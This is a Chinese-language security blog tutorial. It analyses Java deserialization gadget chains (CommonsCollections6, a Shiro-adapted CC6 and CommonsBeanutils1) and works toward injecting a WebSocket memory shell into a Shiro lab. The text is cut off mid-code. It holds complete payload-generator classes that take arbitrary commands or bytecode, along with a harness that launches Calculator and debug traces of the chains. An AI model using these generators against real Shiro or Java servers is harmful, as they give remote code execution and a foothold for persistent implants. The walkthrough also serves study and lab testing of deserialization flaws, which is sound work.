反序列化分析到shiro注入WebSocket内存马

0x01 前言

因为一直想要学习反序列化相关的内容，并且从反序列化延伸出来学习内存马，所以花了很大一部分精力，从CC1到CB，整体地过了一遍反序列化利用链。在学习过程中，发现一个很有意思的内存马，WebSocket内存马，感觉如果用的好的话，挺符合实际需要的，所以自己大体利用了一下，很成功，在这里整理分享出来。

之前也在知识星球发过这样一篇笔记，具体链接https://t.zsxq.com/0aRBK7pIW，只是大体介绍一下，这里详细说说。

0x02 环境准备

代码分析工具idea

shiro反序列化靶场（Tomcat）：https://github.com/yyhuni/shiroMemshell

BurpSuite抓包工具

Websocket内存马相关代码

wscat工具（npm install -g wscat）

0x03 反序列化

反序列化我之前只学过PHP的，JAVA反序列化基本上从0开始学。P牛的《Java安全漫谈》很通俗易懂，很适合新人，然后我是结合着LSF的《Java反序列化漏洞学习 Commons Collection》一起学习的。

什么是序列化和反序列化？

最早在PHP中接触的反序列化，主要是CTF比赛题，但是因为比较靠研究型的东西，现在忘记的差不多了。另外学习的是一个反序列化漏洞，某PHP博客系统前台反序列化getshell，通过unserialize()函数触发的反序列化，感兴趣的可以看看

java反序列化概念：

序列化：将java对象以字节的形式保存到本地磁盘上的过程，也可以理解成将抽象的java对象保存到文件的过程。这里保存的文件可以一直存在，只需要在需要的时候调用即可。

反序列化：将保存下来的java字节码还原成JAVA的过程。

几个关键知识

1、要想有序列化的能力，需要实现Serializable或Externalizable接口。也就是说，一整个利用链中涉及到的类，都需要达到这个要求。

2、ObjectOutputStream.readObject -> 具体类.readObject。序列化的类，需要重写readObject，如果没有重写，则会到其父类的readObject。

3、Java在反序列化的时候有一个机制，序列化时会根据固定算法计算出一个当前版本下类的 serialVersionUID 值，如果反序列化前后serialVersionUID 不同，即版本不同，就会异常退出。

4、反序列化漏洞的产生是因为反序列化过程中，会自动执行到序列化对象所在类的readObject()方法，如果该方法能够通过多次调用触发命令执行，则存在漏洞。

5、CC链的核心就是Transformer，InvokerTransformer实现了Transformer接⼝，反序列化中可以利用InvokerTransformer执行任意对象的任意方法。

6、shiro自带CB，版本为1.8.3。

7、Class.forName 支持加载数组，而 ClassLoader.loadClass 不支持加载数组。

8、如果反序列化流中包含非Java自身的数组，则会出现无法加载类的错误。

CC6详细分析

1、了解过CC链的话，应该都知道CC是因为Transformer可以执行任意代码而产生的。CC6的反序列化利用代码如下，传入一个字符串命令，返回序列化后的字节码。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CommonsCollections6 {
    public byte[] getPayload(final String commond) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new
                ConstantTransformer(1)};

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]
                                {commond}),
        };

        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "key");

        HashSet hashSet = new HashSet(1);
        hashSet.add(tme);

        outerMap.remove("key");

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashSet);
        oos.flush();
        oos.close();

        return barr.toByteArray();
    }

}

2、首先查看最后面，writeObject的是hashSet，可以定位到HashSet.readObject，其重写了readObject方法。

中间应该是有ObjectInputStream.readObject()到HashSet.readObject()的过程，可以参考我之前写的文章:

https://wx.zsxq.com/dweb2/index/topic_detail/584124554842484

3、那么，是怎么从HashSet.readObject()一直到触发transform()的呢，因为知道最后流程会走到InvokerTransformer.transform()，所以直接在这里下一个断点。

简单写个class调用POC

import com.vuln.ser.CommonsCollections6;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;

public class TestCC6 {
    public static void main(String[] args) throws Exception{
        byte[] payloads = new CommonsCollections6().getPayload("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(payloads));
        ois.readObject();
        ois.close();
    }
}

4、debug之后可以看到是这样调用的

transform:125, InvokerTransformer (org.apache.commons.collections.functors)
transform:123, ChainedTransformer (org.apache.commons.collections.functors)
get:158, LazyMap (org.apache.commons.collections.map)
getValue:74, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:121, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
readObject:342, HashSet (java.util)

5、与CC1一样，通过LazyMap.get调用到transform。在一个if判断中，如果当前map中的key与传入的key对象不相同，则调用transform执行它。

所以构造POC时，需要执行remove操作。也可以使用clear清空，道理相同。

6、IF判断进入了，这里还有一个问题，transform为this.factory.transform，而我们需要调用的是InvokerTransformer.transform。

查看factory，这是一个Transformer对象；并且在被public修饰的一个decorate方法中，传入一个Map对象和Transformer对象，则调用构造方法执行它们

构造方法也很简单，就是将传入的Transformer对象指定为this.factory

7、有了前面的铺垫，我们可以构造POC中的一部分代码

//创建transformer数组，内容为多次调用InvokerTransformer.transform反射执行Runtime.exec
Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]{commond}),};

//通过ChainedTransformer循环执行transformers数组内容
Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,TransformerChain);

outerMap.remove("key");

8、为什么这里传入的是ChainedTransformer，其实主要是因为ChainedTransformer.transform可以循环执行Transformer数组，方便调用多次InvokerTransformer

9、回到完整的POC，这里有三处地方可以一起解释

第一处，创建一个没有实际意义的Transformer数组；第二处，LazyMap.decorate时，调用的是这个无用的数组；第三处，反射获取class对象的属性并重新赋值。这里的作用只有一个，防止初始化对象的时候就触发命令执行。

其中第三处因为有的时候很多地方需要反射重新赋值，容易显得代码很冗余，所以常常被封装成方法调用。

public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

10、前面发现需要调用LazyMap.get，然后可以定位到TiedMapEntry.getValue，这个方法是调用this.map.get方法，并且在它的构造方法中可以指定map。

这里对应POC中的

TiedMapEntry tme = new TiedMapEntry(outerMap, "key");

11、然后搜索哪里调用了TiedMapEntry.getValue，定位到org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode

12、hashCode就很熟悉了，HashMap.put调用HashMap.hash，HashMap.hash中调用key.hashcode，所以只要设置key为TiedMapEntry对象即可完成后面的调用

13、怎么调用HashMap.put呢，ysoserial中的CC6通过HashSet.readObject，在342行，调用了map.put()

按住command键点击map，可以看到定义了this.map就是HashMap

在HashSet.add可以将key设置进map中

整理出最后的POC部分

HashSet hashSet = new HashSet(1);
hashSet.add(tme);

14、《JAVA安全漫谈》中给出了不同的选择，HashMap.readObject中，1413行直接可以调用到HashMap.hash

所以这里不需要HashSet，直接使用HashMap即可，通过put方法将key设置进map中

Map expMap = new HashMap();
expMap.put(tme, "value");

适合shiro的CC6shiro

1、P牛指出过，如果反序列化流中包含非Java自身的数组，则会出现无法加载类的错误。

2、所以针对CC6攻击shiro，需要去掉Transformer数组，使用TemplatesImpl加载Java字节码的方式替换反射Runtime命令执行

这里进行了3次反射赋值，具体流程为：

初始化之后调用 TemplatesImpl#newTransformer()
然后到 TemplatesImpl#getTransletInstance()，这里有限制条件_name不为null，_class为null
继续到 TemplatesImpl#defineTransletClasses()，这里限制_bytecodes不为null
然后 run()方法中调用了_tfactory.getExternalExtensionsMap()，需要_tfactory不能为null

3、要调用TemplatesImpl利用链，那么就需要调用newTransformer，可以通过InvokerTransformer实现，先设置一个无害的getClass方法

后面反射设置值为newTransformer

4、完整的利用代码

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CommonCollectionShiro {
    public byte[] getPayload(byte[] clazzBytes) throws Exception {

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][] {clazzBytes});
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("getClass", null, null);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap, templates);

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.clear();

        setFieldValue(transformer, "iMethodName", "newTransformer");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        return barr.toByteArray();

    }
    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

5、利用CCshiro执行命令弹出计算器

运行环境

生成payload，Evil为简单的打开计算器命令

攻击成功

无CC依赖的CB1

1、CC链已经很久了，commons-collections组件也成为了非必要都禁用的存在。但是很巧的，shiro自带了commons-beanutils1.8.3，所以可以打CB链的反序列化

2、在前面的内容中介绍了一个TemplatesImpl，可以加载执行java字节码，因为内存马的存在，所以TemplatesImpl相对于反射调用Runtime更加实用。

有一个需要注意的点，被加载的恶意类，需要继承AbstractTranslet类，并且继承此类会自动实现两个transform方法。

3、前面介绍了CC链的关键是Transformer可以执行任意方法。CB链的关键则是静态方法 PropertyUtils.getProperty ，可以让使用者直接调用任意JavaBean的getter方法

4、TemplatesImpl利用链Gadget如下，在getOutputProperties方法中调用newTransformer触发利用链。而getOutputProperties正巧符合 JavaBean的getter方法 这一条件

TemplatesImpl#getOutputProperties() -> 
TemplatesImpl#newTransformer() -> 
TemplatesImpl#getTransletInstance() -> 
TemplatesImpl#defineTransletClasses() -> 
TransletClassLoader#defineClass()

5、org.apache.commons.beanutils.BeanComparator#compare 中，传入两个对象，如果当前property不为空，则调用PropertyUtils.getProperty处理该对象，符合触发情况

6、定位到property，可以看到BeanComparator存在3个构造方法，如果初始化的时候没有传值，那么默认就是空的，并且通过private修饰。所以需要反射赋值。因为要调用getOutputProperties，所以这里property需要指定值为TemplatesImpl中的属性

搜索Properties属性集，找到_outputProperties

7、然后找哪里调用了compare，CB1中是通过PriorityQueue.siftDownUsingComparator。在compare中有两个参数，一个x为传入的对象，一个c为queue数组中的对象。很容易理解就是传入两个参数并比较它们。

定位comparator，是一个Comparator对象，这里需要的是BeanComparator对象

8、PriorityQueue.siftDown 调用了 siftDownUsingComparator，条件是comparator不为空

9、继续往前，java.util.PriorityQueue#heapify 调用了siftDown

10、然后就到起点了，java.util.PriorityQueue#readObject 调用了heapify

11、Gadget Chain：

getOutputProperties:506, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeMethod:2170, PropertyUtilsBean (org.apache.commons.beanutils)
getSimpleProperty:1332, PropertyUtilsBean (org.apache.commons.beanutils)
getNestedProperty:770, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:846, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:426, PropertyUtils (org.apache.commons.beanutils)
compare:157, BeanComparator (org.apache.commons.beanutils)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:796, PriorityQueue (java.util)
readObject:459, ObjectInputStream (java.io)

12、了解了整个CB链还不能使用，如何完成POC编写呢，需要一步一步来

首先知道是通过 TemplatesImpl 加载恶意字节码，这里通过一个专门获取恶意类字节码的库javassist.ClassPool，获取了Evil恶意类字节码

13、然后创建BeanComparator对象。并且因为需要调用PriorityQueue.readObject，所以还需要创建PriorityQueue对象。前面了解了需要指定comparator为BeanComparator对象，找到这个构造方法，需要传递两个参数，一个为需要大于1的整型数字，一个为BeanComparator对象

进一步完善POC

14、下一步，将恶意对象传入queue中，找到java.util.PriorityQueue#offer方法，将传入的对象赋值到queue数组中。

常见的是使用add()，与offer()是一样的，add()最后调用的也是offer()

15、将恶意对象offer进去之后，调用链已经基本完成了，反射指定property值即可。

执行成功弹出计算器

16、然后，不出意外的话，出意外了，前面说到，此时的利用链不能用CC了，但是当我们反射指定property值后，构造方法调用了CC中的类。

解决方法就是自己指定Comparator对象，找了3种方法，放在代码中了，P牛使用的是方法一

17、完整的利用代码

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Collections;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CommonsBeanutils1Shiro {
    public byte[] getPayload(byte[] clazzBytes) throws Exception {

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        //BeanComparator中引用了CC包中的ComparableComparator类
        //但是shiro中没有CC包，所以使用BeanComparator会报错，所以需要找到替换的类
        /*
            新的类需要满足以下条件：
                1、实现 java.util.Comparator 接口
                2、实现 java.io.Serializable 接口
                3、Java、shiro或commons-beanutils自带，且兼容性强
         */
        //方法一：类 CaseInsensitiveComparator#Comparator
        //通过 String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的 CaseInsensitiveComparator 对象，用它来实例化 BeanComparator
        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

        //方法二：类Collections$ReverseComparator
        //通过反射获取类
        //需要转换类型为Comparator
//        Class clazz = Class.forName("java.util.Collections$ReverseComparator");
//        Constructor constructor = clazz.getDeclaredConstructor();
//        constructor.setAccessible(true);
//
//        Comparator ob = (Comparator) constructor.newInstance();
//        final BeanComparator comparator = new BeanComparator(null, ob);

        //方法三：类Collections$ReverseComparator
        //直接调用reverseOrder方法，返回的是一个ReverseComparator对象
//        final BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());

        // BeanComparator comparator = new BeanComparator();

        PriorityQueue